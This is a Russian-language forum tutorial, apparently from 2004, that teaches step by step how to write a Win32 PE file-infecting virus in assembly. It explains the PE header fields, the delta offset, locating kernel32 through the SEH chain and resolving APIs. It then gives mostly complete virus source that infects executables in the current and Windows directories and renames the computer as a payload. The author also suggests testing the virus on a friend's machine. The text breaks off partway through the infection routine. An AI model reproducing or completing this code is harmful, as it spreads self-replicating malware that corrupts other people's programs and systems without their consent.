Почти каждый, кто изучает язык ассемблера, рано или поздно пишет вирус, некоторые люди пишут вирус, когда заканчивают изучать какой-нибудь язык программирования... Прежде чем читать то, что я буду писать ниже и понимать хоть что-нибудь, вы должны:
а) знать основные команды ассемблера
б) уметь пользоватся АПИ-функциями
в) взять где-нибудь (можно и у меня) TASM32 (можно и другой, но каждый компилятор имеет свои особенности).
г) отладчик (если собираетесь собственноручно создать зверька, то без отладки довольно трудно найти ошибки)
д) прогу, которая прикреплена (на неё вопит касперский, но это не вирус!!!! )
е) иметь здоровую голову (если вы хотите испортить все компы на Земле, то ваше место в больнице, а не здесь)
ё) ПОМНИТЬ, ЧТО ЭТОТ МАТЕРИАЛ ПРЕДСТАВЛЕН ТОЛЬКО В ЦЕЛЯХ ОБУЧЕНИЯ, И ЗА ПОСЛЕДСТВИЯ Я НИКАКОЙ ОТВЕТСТВЕННОСТИ НЕ НЕСУ
Вроде всё.
Теперь план обучения:
1) формат заголовка файла РЕ
2) разбор основных полей заголовка РЕ
3) методика заражения
4) дельта-смещение.
5) поиск АПИ
6) разбор используемых АПИ
7) пишем код
8) Reserved
Прикрепленные файлы
Pewrsec.exe ( 8.62 килобайт )
Кол-во скачиваний: 3
1. Формат заголовка РЕ
Заголовок - это структура, которая содержит информацию, которая требуется загрузчику для загрузки того или иного файла. Мы рассмотрим формат заголовка РЕ-ЕХЕ.
Расширение .ЕХЕ имеют не только РЕ-ЕХЕ файлы, но ещё и старые досовские. В связи с этим в самом начале файла идёт заголовок, который полностью досовскому загрузчику и, в некоторых случаях, dos stub, прога, которая запускается, если стартовать РЕ файл из-под доса. Она в основном кричит что-то типа "This programm must cannot be run in DOS mode".
Мы пишем вирус под Винду, поэтому нас дос-совместимый заголовок особо не интересует. Только пара полей
Смещение (offset) Размер Описание
+0h 1 w (2байта) 'MZ' сигнатура ЕХЕ файла
+3Сh 1 dw (4 байта) смещение начала РЕ заголовка
Вот мы и увидели, как проверить файл на "подлинность" (сигнатура). Кстати, если вы откроете command.com в каком-нибудь НЕХ-редакторе, то вы увидете, что это на самом деле не СОМ, а ЕХЕ
Формат заголовка РЕ висит в прикреплённом файле. Советую распечатать.
Прикрепленные файлы
useful1.doc ( 71.5 килобайт )
Кол-во скачиваний: 1756
2. Разбор основных полей РЕ заголовка.
Итак, вы просмотрели вложения. Теперь расскажу подробнее о тех полях заголовка, которые мы будем использовать во время написания вируса.
Как вы заметили, самое первое поле заголовка - сигнатура. Это уже проверка файла на РЕ.
Тип компа нам не интересен.
В файле мы имеем дело с несколькими секциями, такими как, например, секция кода или секция данных.
Количество этих секций указано по смещению 6 заголовка РЕ. В файле находится таблица объектов (Object Table), элементы которой описывают секции. Мы будем работать с этими элементами. Делать это будем в цикле с заданным кол-вом повторений. Значение поля Number Of Sections и будет кол-вом этих повторений.
Дальше нам понадобится поле Size Of Optional Header. Оно понадобится при расчёте смещения (offset) Object Table.
Следующее поле, которое нас сильно интересует - Address Of Entry Point по смещению 28h от начала РЕ-заголовка (далее просто заголовок). Оно показывает загрузчику место старта (если это можно так назвать) проги. Значение этого поля - только RVA точки старта.
Теперь несколько слов о том что такое RVA, VA... Сразу скажу, что надо просто взять и выучить, что есть что и понять как одно от другого отличается. Мне было очень сложно разобраться с этими понятиями.
RVA расшифровывается как Relative Virtual Address - это смещение на что-либо относительно того места в памяти, куда загрузчик закидывает файл. Ведь файл не располагается с нулевого смещения...
VA (Virtual Address) - это уже смещение, с которым мы можем работать. Теперь всё это на примере.
Итак, загрузчик потрудился на славу и закинул наш файл по смещению 00040000h в память.
RVA точки входа 00001000h. Ясно, если загрузчик передаст управление на смещение 00001000h, то ничего полезного не произойдёт, ведь это только RVA. Чтоб сделать из RVA VA нужно прибавить к нему 00040000h (так называемую базу образа). Прибавляем и получаем 00041000h, а это адрес точки входа (VA). Мы в основном будем получать везде RVA, и нам прийдётся преобразовывать его в VA.
Виртуальные данные - термин, который служит для обозначения данных, которые висят в памяти.
RAW-данные - данные, которые находятся в файле.
Расположение данных в памяти и в файле отличается. Так, например, в файле код расположен по смещению 600h, в память их загрузчик может кинуть по смещению 1000h, относительно адреса загрузки (RVA).
Следующее поле заголовка которое нас интересует - Image Base (00000034h). Это и есть то смещение, начиная с которого файл располагается загрузчиком в памяти. Понадобится при передаче управления зараженному объекту.
Section Alignment и File Alignment - значения, на которые надо будет выровнять некоторые значения после заражения.
Выравнивание - это округление какого-либо значения в большую сторону до значения, кратного выравнивающему фактору.
Например, объём кода 2CDh, а File Alignment=200h (это фактор), тогда выровненное значение будет 400h.
;------------------------------Пример Align.asm--------------------------------
.386
.model flat
.data
AlignmentFactor dd 200h
ValueAlign dd 201h
.code
start:
mov eax, AlignmentFactor
dec eax
add ValueAlign, eax
not eax
and ValueAlign, eax
ret
end start
;------------------------------------------------------------------------------
3. Методика заражения
Пишу в виде алгоритма, хотя я не умею их делать. Пишу с того момента, когда мы отловили адреса апишек, после всех приготовлений (об этом ниже).
1) ищем файл
2) открываем, проверяем на зараженность, если всё ОК, то идём дальше, если нет то на шаг 8
3) ищем последнюю секцию
4) пишем код ей в зад
5) фиксим некоторые поля заголовка и соответствующего элемента Object Table
6) устанавливаем метку заражения
7) закрываем
8) заразили достаточно, на шаг 10, нет - дальше
9) ищем следующий, валим на шаг 2
10) если первое поколение то просто выходим, если нет, то передаём управление носителю
Что-то типа этого. На практике разберётесь (на самом деле всё сложнее немного).
Продолжу, если это будет хоть кому-нибудь интересно.
Кому интересно или если вы заметили какие-то ошибки или недочёты, то пишите в PM или стучите в асю 88880172, выражайте свои мысли.
4. Дельта смещение.
При линковке программы происходит замена имён меток, переменных на их адреса в памяти. Таким образом строка
mov eax, offset message
includelib import32.lib
extrn ExitProcess: near
.386
.model flat
.data
db 0
.code
start:
mov eax, aaaa
push 0
call ExitProcess
aaaa dd 0
end start
Tasm32.exe /m3 /ml /zi iasdf.asm , , ;
Tlink32.exe /Tpe /aa /v iasdf, iasdf, ,import32.lib
00401000 A10C104000 mov eax,[0040100C] ;mov eax, aaaa
00401005 6A00 push 00000000 ;push 0
...
0040100C 0000 add [eax],al ;значение переменной,
0040100E 0000 add [eax],al ;"истолкованное" отладчиком как команда.
Секция смещение(VA) размер
код 00401000 1000
данные 00402000 2000
неиниц 00404000
...
00404000 A10C104000 mov eax,[0040100C] ;mov eax, то_что_по_адресу_0040100C
00404005 6A00 push 00000000 ;push 0
...
0040400C 0000 add [eax],al ;значение переменной,
0040400E 0000 add [eax],al ;"истолкованное" отладчиком как команды.
3.1 В поисках дельты.
Может вам показалось, что поиск дельты - основная сложность в написании вируса... Это не так. Это самая маленькая его часть, это даже не сложность. Как же найти дельту? Очень просто, надо взять произвольную метку и от её текущего адреса отнять тот, который был сразу после линковки.
Вопрос... Как узнать тот адрес, который был при линковке?
Напишите
mov eax, metka_nameи скомпилируйте. В регистр всегда будет попадать (при любых обстоятельствах), адрес метки, который был изначально (как и в случае с переменной, ведь её адрес тоже оставался без изменения)
call some_funcто в стеке окажется адрес команды, которая находится за этой.
call delta ;вызов процедуры, в стеке текущий адрес меткиВ итоге в регистре ebp висит дельта. Теперь, если мы напишем mov eax,[ebp+aaaa], то получим значение переменной аааа, где бы она не валялась вместе со всей прогой В первом поколении вируса (когда его слинковали) дельта равна нулю (разберитесь почему). Кстати, можно не использовать дельты, но тогда надо держать все переменные в стеке, а это не очень удобно.
delta:
pop ebp ; достаем со стека
sub ebp, delta ;отнимаем "обычный" адрес
5) Поиск АПИ.
Когда Винда загружает файл, она в адресное пространство кидает библиотеки, адреса имён которых содержатся в таблице импорта файла. Потом заполняет какие-то таблицы адресами АПИшек. При чём эти таблицы фиксированы. Вспомним нашу прогу(её вид в отладчике):
//******************** Program Entry Point ********
:00401000 A10C104000 mov eax, dword ptr [0040100C]
:00401005 6A00 push 00000000
* Reference To: KERNEL32.ExitProcess, Ord:0000h
|
:00401007 E804000000 Call 00401010 ;всё внимание на эту строчку...
:0040100C 00000000 BYTE 4 DUP(0)
5.1. Поиск адреса кернела
Кернел висит в памяти.
Искать кернел можно многими путями. Я предпочитаю поиск через анализ SEH. SEH это фигня, которая служит для обработки исключений (непредвиденных ситуаций).
Теперь теория
По fs:0 начинается некоторая структура, называемая Thread Information Block (TIB). Первое поле - указатель на начало цепочки структур EXCEPTION_REGISTRATION_RECORD, каждая из которых содержит адрес процедуры обработки критической ситуации (SEH) и адрес следующей (т.е. предыдущей) структуры, этих обработчиков несколько. То есть если возникает непредвиденная ситуация, то по очереди вызываются эти обработчики, пока один из них не возьмёт на себя обработку исключения. Так вот последний обработчик висит где-то в кернеле. Так как он последний, то адрес следующего будет 0ffffffffh. Теперь предлагаю написать код поиска кернела.
xor edx,edx
R_SEH:
mov eax, fs:[edx] ; в eax адрес первой структуры
dec edx ; edx=0ffffffffh
search32:
cmp [eax], edx ; адрес следующей структуры 0ffffffffh?
je check32 ; да
mov eax,[eax] ; нет, переходим к следующей
jmp short search32 ; повторяем
check32:
mov eax,[eax+4] ; eax=адрес обработчаика (он где то в кернеле)
xor ax,ax ; обнуляем так как начало кернела находится по адресу кратному 10000h
searchMZ:
cmp word ptr [eax], 5A4Dh ; 5A4D - 'ZM' - сигнатура (кернел тоже РЕ файл)
je IsPe ; нашли сигнатуру, проверяем вторую
sub eax, 10000h ; не повезло - сканируем ещё адрес
jmp short searchMZ ; и на проверку
IsPe:
mov edx,[eax+3ch] ; в edx - rva заголовка PE
;относительно базы кернела (она в eax)
cmp [eax+edx],4550h ; PE?
jne Exit ; не нашли - выходим.
;kernel found
5.2 Поиск АПИ...
Теперь адрес кернела мы знаем. Теперь будем искать адреса API-шек.
В кернеле есть таблица экспорта её RVA находится по смещению 78h относительно заголовка РЕ.
Там начиная со смещения 1Ch идут такие элементы:
get_export:
mov esi, [eax+edx+78h] ; get export rva
lea esi, [esi+eax+1ch] ; esi=указатель на адрес таблицы адресов
xchg eax, ebx ; in ebx kernelBase. eax буду юзать
mov ecx, 3
loop_lodsd:
lodsd ; в eax RVA
add eax,ebx ; VA
push eax
dec cl
jnz loop_lodsd
; в цикле загоняем в стек адреса таблиц с которыми будем работать
lea edi,[ebp+offset GetWindowsDirectoryA_]
; указатель на строку с именем первой требуемой АПИ (учитывая дельту)
main_loop:
str_lenth:
xor eax, eax
mov esi, edi
s4et:
scasb
jnz s4et
mov edx,esi
sub edi,esi
; посчитали длину имени она теперь в edi
mov esi,[esp+4]
; в esi адрес таблицы указателей на строки с именами АПИ
mov ecx,edi
; ecx=edi=length(string)
searchAPI:
push esi
mov edi,edx
mov esi,[esi] ; вытягиваем адрес (rva)
push ecx
add esi, ebx ; rva to VA
cld
rep cmpsb ;сравниваем две строки
pop ecx
pop esi
jz equal ; если они равны
inc ax ; в ах счётчик (мы считаем, какое по счёту имя сходится с именем искомой АПИ)
add esi, 4 ; к следующему имени
jmp searchAPI
equal:
; нашли номер функции, надонайти ординал, а когда найдём ординал, то найдём адрес
shl eax, 1 ; таблица ординалов состоит из двухбайтовых цифр, поэтому умножаем еах на 2
mov ecx, [esp] ; первым в стеке лежит указатель на таблицу ординалов
; а на первый элемент всегда esp указывает
add ecx, eax ; переходим к нужному ординалу
mov ecx, [ecx] ; кидаем ординал в есх
and ecx, 0ffffh ; обрубаем старшие 2 байта.
shl ecx, 2 ; таблица адресов состоит из 4байтовых элементов (умножаем ординал на 4)
mov eax, [esp+4*2] ; 3ий в стеке лежит адрес таблицы адресов
add eax, ecx ; ищем нужный адрес
mov eax, [eax] ; достаём RVA функции в еах
add eax, ebx ; преобразуем в VA
mov [edi], eax ; в edi адрес конца нашей строки, то есть адрес хранится за строкой
cmp word ptr [edi+4], 0B0BAH
; это последняя искомая АПИ? (0B0BAh - метка конца нашей таблицы)
je vse_naideno ; да - идём дальше
add edi, 4 ; нет - прибавляем к edi 4 (перескакиваем на имя следующей АПИ)
jmp main_loop ; повторяем цикл
; в конце файла должна быть такая примерно таблица
GetWindowsDirectoryA_ db 'GetWindowsDirectoryA', 0 ; первая нужная АПИ
_GetWindowsDirectoryA dd 0 ; после каждого имени место под адрес
SetCurrentDirectoryA_ db 'SetCurrentDirectoryA', 0
_SetCurrentDirectoryA dd 0
CreateFileA_ db 'CreateFileA', 0
_CreateFileA dd 0
FindFirstFileA_ db 'FindFirstFileA', 0
_FindFirstFileA dd 0
FindNextFileA_ db 'FindNextFileA', 0
_FindNextFileA dd 0
CreateFileMappingA_ db 'CreateFileMappingA', 0
_CreateFileMappingA dd 0
MapViewOfFile_ db 'MapViewOfFile', 0
_MapViewOfFile dd 0
UnmapViewOfFile_ db 'UnmapViewOfFile', 0
_UnmapViewOfFile dd 0
SetFilePointer_ db 'SetFilePointer', 0
_SetFilePointer dd 0
SetFileAttributesA_ db 'SetFileAttributesA', 0
_SetFileAttributesA dd 0
CloseHandle_ db 'CloseHandle', 0
_CloseHandle dd 0
FindClose_ db 'FindClose', 0
_FindClose dd 0
SetComputerNameA_ db 'SetComputerNameA', 0
_SetComputerNameA dd 0
my_name_is dw 0B0BAH ; метка конца
6. Pазбор используемых АПИ
Разбор сводится к копированию сюда содержимого справочника АПИ и более подробному их рассмотрению, то есть в этом разделе мы не будем придумывать ничего, никакого кода. Зато когда мы разберём АПИ, можно будет приступать к написанию кода вируса.
Все приведённые здесь АПИ находятся в кернеле. Все попытки включить в список АПИ из другой библиотеки или с неправильным именем приведёт к ошибке и вы с треском вылетите.
Итак, первая АПИ - GetWindowsDirectoryA
UINT GetWindowsDirectory(
LPTSTR lpBuffer, // address of buffer for Windows directory
UINT uSize // size of directory buffer
);
push Some_lenthКак вы заметили, всё делалось с учётом дельты.
lea edi, [ebp+offset szWindowsDirectory]
push edi
call [ebp+_GetWindowsDirectoryA]
BOOL SetCurrentDirectory(
LPCTSTR lpPathName // address of name of new current directory
);
lea edi,[ebp+offset szWindowsDirectory]
push edi
call [ebp+_SetCurrentDirectoryA]
HANDLE CreateFile(
LPCTSTR lpFileName, // pointer to name of the file
DWORD dwDesiredAccess, // access (read-write) mode
DWORD dwShareMode, // share mode
LPSECURITY_ATTRIBUTES lpSecurityAttributes, // pointer to security attributes
DWORD dwCreationDistribution, // how to create
DWORD dwFlagsAndAttributes, // file attributes
HANDLE hTemplateFile // handle to file with attributes to copy
);
xor eax,eax
push eax ; handle to file
push eax ; flags and attributes
push 00000003h ; how to create(OPEN_EXISTING)
push eax ; security attr
push 00000003h ; share mode (FILE_SHARE_READ + FILE_SHARE_WRITE)
push 0c0000000h ; access mode (GENERIC_READ + GENERIC_WRITE)
lea eax,[ebp+offset FName]
push eax ; pointer to file name
call [ebp+_CreateFileA]
FindFirstFileA - ищет файл в текущей директории
HANDLE FindFirstFile(
LPCTSTR lpFileName, // pointer to name of file to search for
LPWIN32_FIND_DATA lpFindFileData // pointer to returned information
);
lea eax,[ebp+offset WFD32]
push eax ; указатель на структуру
lea eax,[ebp+offset FN4Search]
push eax ;указатель на маску поиска
call [ebp+_FindFirstFileA]
WFD32:
FAttr dd 0 ;атрибуты найденного файла
FCrTime dd 0,0 ;время создания
FLAcsTime dd 0,0 ;время последнего доступа
FLWTime dd 0,0 ;вр. последнего изменения
FSizeH dd 0 ;старший кусок размера файла
FSizeL dd 0 ;младший кусок
FRes dd 0,0 ;зарезервировано
FName db MAX_PATH dup (0) ;имя фала (полное)
AFName db 13 dup (?) ;сокращённое в формате 8.3
;317bytes total
FindNextFileA - ищет следующий файл
BOOL FindNextFile(
HANDLE hFindFile, // handle to search
LPWIN32_FIND_DATA lpFindFileData // pointer to structure for data on found file
);
lea eax,[ebp+offset WFD32] ;указатель на структуру
push eax
push dword ptr [ebp+offset hFF] ;хендл (сохранённый в переменную)
call [ebp+_FindNextFileA] ;сам вызов
HANDLE CreateFileMapping(
HANDLE hFile, // handle to file to map
LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // optional security attributes
DWORD flProtect, // protection for mapping object
DWORD dwMaximumSizeHigh, // high-order 32 bits of object size
DWORD dwMaximumSizeLow, // low-order 32 bits of object size
LPCTSTR lpName // name of file-mapping object
);
mov eax,[ebp+hFO]
xor edx,edx
push edx ;name of object - 0
push ecx ;low size размер в регистре
push edx ;high size - 0 (врядли файл такой большой)
push PAGE_READWRITE ;protect
push edx ;security attr - 0
push eax ;handle to file to map
call [ebp+_CreateFileMappingA]
MapViewOfFile - помещает промэппированный файл в память.
LPVOID MapViewOfFile(
HANDLE hFileMappingObject, // file-mapping object to map into address space
DWORD dwDesiredAccess, // access mode
DWORD dwFileOffsetHigh, // high-order 32 bits of file offset
DWORD dwFileOffsetLow, // low-order 32 bits of file offset
DWORD dwNumberOfBytesToMap // number of bytes to map
);
xor edx,edx
MVF:
push edx ;number bytes to map - 0
push edx ;offs low - 0
push edx ;offs high - 0
push SRW ;access mode
push eax ;handle
call [ebp+_MapViewOfFile]
UnmapViewOfFile - полная противоположность MapViewOfFile.
BOOL UnmapViewOfFile(
LPCVOID lpBaseAddress // address where mapped view begins
);
push [ebp+pFM] ; адрес, который достаём с переменной
call [ebp+_UnmapViewOfFile]
BOOL SetFileAttributes(
LPCTSTR lpFileName, // address of filename
DWORD dwFileAttributes // address of attributes to set
);
lea eax,[ebp+offset FName] ; указатель на имя (берём из WFD)
push dword ptr FAttrNorm ; FILE_ATTRIBUTE_NORMAL
push eax
call [ebp + _SetFileAttributesA]
BOOL CloseHandle(
HANDLE hObject // handle to object to close
);
BOOL FindClose(
HANDLE hFindFile // file search handle
);
push dword ptr [ebp+offset hFF]; хендл, который достаём с переменной
call [ebp+_FindClose]
BOOL SetComputerName(
LPCTSTR lpComputerName // address of new computer name
);
lea edi,[ebp+offset NewComp] ; указатель на строку с новым именем
push edi
call [ebp+_SetComputerNameA]
7. Пишем код
В исполняемый файл добавляем код вируса. Этим действием мы увеличиваем "длину" файла на "длину" вируса. Если такой файл запустить, то, скорее всего, вы увидите сообщение о том, что файл не является приложением под винду. Это происходит из-за того, что длина файла больше, чем та, которая указана в заголовке. Если мы увеличим величину Size of Image на длину вируса (которую выровняем на SectionAlignment), то опять получим сообщение об ошибке. В чём же дело, ведь все поля заголовка исправлены на нужные? Дело в том, что в файле есть ещё несколько структур, которые надо пофиксить.
РЕ файл поделен на секции (секция кода, данных...). Для каждой секции есть структура, которая описывает её (object entry). Все структуры находятся одна за другой за заголовком и имеют такой формат:
Object Entry: = 28h bytes
RVA Size Name Description
00h 8 байт Object Name Имя объекта (секции)
08h DWord Virtual Size Виртуальный размер секции (в памяти)*
0Ch DWord Section RVA RVA секции (в памяти, относительно Image Base)*
10h DWord Рhysical Size Физический размер секции (в файле)*
14h DWord Physical Offset Физическое смещение (в файле, относительно его начала)*
18h 12 байт Reserved В EXE не используется (для OBJ)
24h DWord Object Flags Битовые флаги секции*
То есть, для успешного заражения надо пофиксить ещё и вышеописанную структуру для секции, которую заменили. Это Сложность №1.
Сложность №2 - нахождение новой точки входа (RVA нашего кода относительно ImageBase).
Тут всё просто. Мы пишемся в конец секции? RVA секции + Virtual Size = новый RVA!!!! Думаю с этим вы сами разберётесь.
Сложность №3. Передача управления носителю.
Тут всё ещё проще. Адрес старой точки входа мы знаем (RVA относительно ImageBase), ImageBase тоже знаем, тогда для корректной передачи управления нам нужно сделать Jump на старую точку, для чего надо знать её VA=RVA + ImageBase (это вам дельту не напоминает?)
Сложность №4. Определение носителя первого поколения. Как известно, дельта первого поколения равна 0. Ведь в первом поколении нам не надо передавать управление носителю.
Сложность №5. Самое сложное - распихать всё, что нам нужно по переменным так, чтоб потом найти. При работе с переменными не забывайте учитывать дельту.
Сложность №6. Проверить работу, довести всё до ума. Посмотреть под отладкой, посмотреть как размножается (как быстро). Подсунуть другу (когда знаете, что работает и не портит ничего), прийти к нему через неделю, посмотреть, как всё отработано, сколько заражено. Потом, если не лень, оптимизировать (наш вирус не будет блистать оптимальностью и скоростью распространения (версия, где это будет сделано находится на стадии разработки), это сделано для того, чтоб вам было чем заняться). Не бойтесь за свой комп. Первые версии тестируйте на дискетах или в отдельных папках. Когда уверенны, что вирус не портит ничего, можете добавить "полезную нагрузку" - то, что вирус делает помимо заражения (вирус, который будет у нас, будет менять имя компа).
Если вы боитесь вируса, который написали (боитесь его пускать погулять у себя на компе), то это:
а) вирус, который убивает систему, зануляет биос, сжигает монитор... В этом случае обратитесь к психиатру, вы опасный для общества человек
б) нежелание переустанавливать систему в случае ошибки, боязнь потерять данные... Тогда вам надо бороться с ленью, записать самые важные данные на болванки или туда, где их ничего не достанет или прекратить писать вирусы, удалить все исходники вирусов с компьютера.
Всё остальное расскажу в комментариях к коду.
7.1 Пишем код
Для разминки напишем прогу, которая определяет адрес Кернела на той системе, где она запущена.
includelib import32.lib
extrn ExitProcess: near
extrn MessageBoxA: near
;функции для работы проги
.386
.model flat
.data
; надпись в заголовке сообщения
szTitle db 'kernel base search prog', 0
; начало сообщения
szMessage db 'ADDR OF KERNEL BASE ON YOUR COMPUTER IS: '
;тут будет лежать символьное представление адреса кернела
k_addr_str dd 0, 0
; после адреса переходим на новую строку и печатаем ещё строку
db 0ah, 0dh,'by FreeMan ©. Kiev 2004', 0
.code
start:
call delta
delta:
; так как это немного переделанный кусок вируса, поиск дельты остался
sub dword ptr [esp], offset delta
R_SEH:
xor edx, edx
mov eax, fs:[edx]
dec edx
search32:
cmp [eax], edx
je check32
mov eax, [eax]
jmp search32
check32:
mov eax, [eax+4]
xor ax, ax
searchMZ:
cmp word ptr [eax], 5A4Dh
je IsPe
sub eax, 10000h
jmp searchMZ
IsPe:
mov edx, [eax+3ch]
cmp [eax+edx], 4550h
jne Exit
; этот кусок я объяснил
write:
mov ecx, 8 ; начинаем переводить адрес в символы
; пихаем в esi адрес места, куда будем пихать символы
mov esi, offset k_addr_str
add esi, 7 ; с конца это делать удобней
loops:
mov ebx, eax ; сохраняем eax, мы будем его использовать
and al, 0fh ; обнуляем старший байт
cmp al, 0ah ; сравниваем с 10
jl mensh
add al, 7h ; если больше, то имеем дело с символом
mensh:
add al, 30h
pechat:
mov byte ptr [esi], al ; суём al и строку (это уже печатный символ)
dec esi ; указатель на следующую позицию
mov eax, ebx ; достаём сохранённый еах
shr eax, 4 ; убираем полбайта, которые обработали
loop loops ; повторяем
xor eax, eax ; обнулить еах для последующего использования в функции
push 30h
push offset szTitle
push offset szMessage
push eax
call MessageBoxA
; вызов функции вывода сообщения
Exit:
push 0
call ExitProcess
; выход из проги
end start
Кстати, вышел номер 29А... http://www.vx.netlux.org/29a/main.html
Теперь пришло время писать код.
includelib import32.lib
extrn ExitProcess: near
extrn MessageBoxA: near
;нам нужны эти АПИ исключительно в первом поколении
.386
;модель проца (вирус будет запускаться на процессорах 80386 и выше)
.model flat
;плоская модель (позволяет использовать до 4гб памяти)
jumps
;не прыгаем за пределы
.data
; тут данные. вернее их отсутствие, просто без этой секции компилятор не компилит
dibilizm_dlya_tupogo_kompilyatora db 0
.code
start:
call delta
; начинаем код с поисков дельты
delta:
sub dword ptr [esp], offset delta
; адрес метки delta - адрес возврата - в стеке. esp - вершина стека и указывает на этот адрес.
; Отнимаем от этого значения смещение метки, которое она имеет в первом поколении
xor edx, edx ; в edx - 0 будем использовать при поиске кернела
mov ebp, [esp] ; в ebp - дельту
R_SEH:
mov eax,fs:[edx]
dec edx
search32:
cmp [eax], edx
je check32
mov eax, [eax]
jmp short search32
check32:
mov eax,[eax+4]
xor ax,ax
searchMZ:
cmp word ptr [eax],5A4Dh ; MZ
je IsPe
sub eax, 10000h
jmp short searchMZ
IsPe:
mov edx,[eax+3ch]
cmp [eax+edx],4550h ; PE
jne Exit
; kernel found
get_export:
mov esi, [eax+edx+78h] ; get export rva
lea esi, [esi+eax+1ch]
xchg eax, ebx ; in ebx kernelBase
mov ecx, 3
loop_lodsd:
lodsd
add eax, ebx
push eax
dec cl
jnz loop_lodsd
lea edi, [ebp+offset GetWindowsDirectoryA_]
main_loop:
str_lenth:
xor eax,eax
mov esi,edi
s4et:
scasb
jnz s4et
mov edx, esi
sub edi, esi
mov esi, [esp+4]
mov ecx, edi ; ecx=edi=length(string)
searchAPI:
push esi
mov edi, edx
mov esi, [esi]
push ecx
add esi, ebx
cld
rep cmpsb
pop ecx
pop esi
jz equal
inc ax
add esi, 4
jmp searchAPI
equal:
shl eax,1
mov ecx, [esp]
add ecx, eax
mov ecx, [ecx]
and ecx, 0ffffh
shl ecx, 2
mov eax, [esp+4*2]
add eax, ecx
mov eax, [eax]
add eax, ebx
mov [edi], eax
cmp word ptr [edi+4], 0B0BAH
je vse_naideno
add edi, 4
jmp main_loop ; это поиск адресов АПИ. Я уже это описал.
vse_naideno:
mov byte ptr [ebp+numbofdirs], 1
; кол-во директорий, которые заражаем после текущей
lea edi, [ebp+offset szWindowsDirectory]
push Some_pathes
push edi
call [ebp+_GetWindowsDirectoryA]
; находим директорию, где "живёт" винда
FindFirsttttt:
lea eax, [ebp+offset WFD32]
push eax
lea eax, [ebp+offset FN4Search]
push eax
call [ebp+_FindFirstFileA]
; ищем первый файл в текущей директории
inc eax
jz nextdir
dec eax
; в случае провала у нас в еах -1 прибавляем 1 получаем 0.
; Тогда ф-ия провалилась, тогда сработает jz nextdir и мы начнём
; поиски в след. директории (в этом вирусе - в директории винды)
; если же ф-ия успешна, то мы отнимаем 1, чтоб получить правильный хендл...
mov [ebp+offset hFF], eax
; и сохраняем его в переменной
mov ecx, 5 ; кол-во файлов для заражения
push dword ptr [ebp+EIPs]
; это одно из "шатких" мест кода. дело в том, что точка входа определяется
; при заражении файла и записывается в файл в соответствующую переменную.
; Для того, чтоб её записать в файл на месте переменной, её надо туда поместить,
; что и делается при заражении файла, но это портит то значение, которое было
; таким же образом забито в этом поколении. Поэтому мы должны его сохранить,
; чтоб потом можно было его заюзать при передаче управления носителю
modifyIt:
push ecx
; в есх у нас счётчик. Так как мы будем работать с этим регистром,
; то будем его сохранять в начале цикла и восстанавливать в конце
jmp infection
; "прыгаем" на процедуру заражения
infection_done:
; сюда попадаем после заражения найденного файла
PLZNext:
lea eax, [ebp+offset WFD32]
push eax
push dword ptr [ebp+offset hFF]
call [ebp+_FindNextFileA]
pop ecx ; восстанавливаем счётчик
test eax, eax
jz nextdir
; если не находим ещё файл пробуем искать в директории винды
dec cx
jnz modifyIt
; уменьшаем значения счётчика на 1 и если он не стал 0, то повторяем цикл.
; Теперь предлагаю вам подобие алгоритма куска кода от FindFirsttttt по Exit
; 1) ищем первый файл
; 2) не нашли - шаг 6
; 3) заражаем
; 4) ищем следующий
; 5) нашли - шаг 3
; 6) след. директория
; 7) если есть директория - шаг 1
; 8) выход
Exit:
pop dword ptr [ebp+EIPs]
; сюда мы попадаем в случае провала или случае заражения достаточного кол-ва объектов
call killfind
; вызываем процедуру, которая закрывает хендл поиска, она расположена в хвосте виря
lea edi, [ebp+offset NewComp]
push edi
call [ebp+_SetComputerNameA]
; это наша "полезная нагрузка" (мы устанавливаем имя компьютера Win32.Instan)
test ebp,ebp
jz first_gen
; это проверка на первое поколение. в первом поколении мы выводим сообщение и выходим,
; а во втором надо возвратитьуправление носителю
mov eax, 0666B0BAH
org $-4
EIPs dd 00401000h
jmp eax
; тут использован небольшой трюк... команда mov reg32, xxxxxxxxh имеет опкод
; b8r xxxxxxxx, где xxxxxxxx - число, которое заносится в регистр. А теперь представьте,
; что у нас в памяти на месте хххххххх стоит переменная. тогда в регистр будет попадать
; значение этой переменной. у нас в проге вместо 0666B0BAH будет в регистре адрес точки
; входа. Мы помещаем в еах старый адрес точки входа, после чего работает jmp eax,
; который совершает прыжок на адрес, который лежит в еах
infection:
; начало работы с файлом (заражения) когда мы находимся здесь, у нас уже есть найденный файл
lea eax, [ebp+offset FName]
push dword ptr FAttrNorm
push eax
call [ebp + _SetFileAttributesA]
; устанавливаем атрибуты файла (обычный файл, не системный, не скрытый)
xor eax, eax
push eax ; handle to file
push eax ; flags and attributes
push 00000003h ; how to create(OPEN_EXISTING)
push eax ; security attr
push 00000003h ; share mode
push 0c0000000h ; access mode
lea eax, [ebp+offset FName]
push eax ; pointer to file name
call [ebp+_CreateFileA]
; открываем файл, если онсуществует
mov dword ptr [ebp+hFO], eax
; сохраняем хендл в переменной
inc eax
; если в регистре -1, то ...
jz infection_done
; ... ищем следующий файл (заражение этого провалилось)
mov ecx, [ebp+FSizeL]
; FSizeL - младшее слово длины файла (берём из WFD)
xor ebx, ebx
; обнуляем ebx. это нам нужно для работы кода
; ecx - low size
crFM:
mov eax, [ebp+hFO]
xor edx, edx
; edx=0, будем использовать для заталкивания в стек (это короче и быстрее, чем push 0)
push edx ; name of object
push ecx ; low size
push edx ; high size
push PAGE_READWRITE ; protect
push edx ; security attr
push eax ; handle to file to map
call [ebp+_CreateFileMappingA] ; создаём мэппинг
test eax, eax
jz close_file ; в случае неудачи закрываем файл
mov [ebp+hFM], eax ; в случае успеха сохраняем хендл
xor edx,edx
MVF:
push edx ; number bytes to map
push edx ; offs low
push edx ; offs high
push SRW ; access mode
push eax ; handle by crFM
call [ebp+_MapViewOfFile] ; мэппируем файл в память
test eax, eax
jz zeroid ; если неудача, то закрываем всё, что закрывается и ищем след. файл
mov [ebp+pFM], eax ; в случае успеха сохраняем хендл в переменную
test ebx, ebx
jnz dali_bude
; итак, пришло время рассказать о великом значении регистра ebx в нашем коде.
; он работает как флаг. когда его значение 0 - выполняется следующие проверки,
; а также после отработки (ниже) процедуры close_FM мы закрываем файл и ищем
; следующий. если же там другое значение, то мы перескакиваем проверки, а также
; не закрываем файл после отработки close_FM. это связано с тем, что мэппинг
; открывается 2 раза. один - для проверки, второй - для изменений (с увеличенной длиной)
add eax,[eax+3Ch]
; после отработки MapViewOfFile в еах лежит смещение на начало файла. по смещению 3Ch
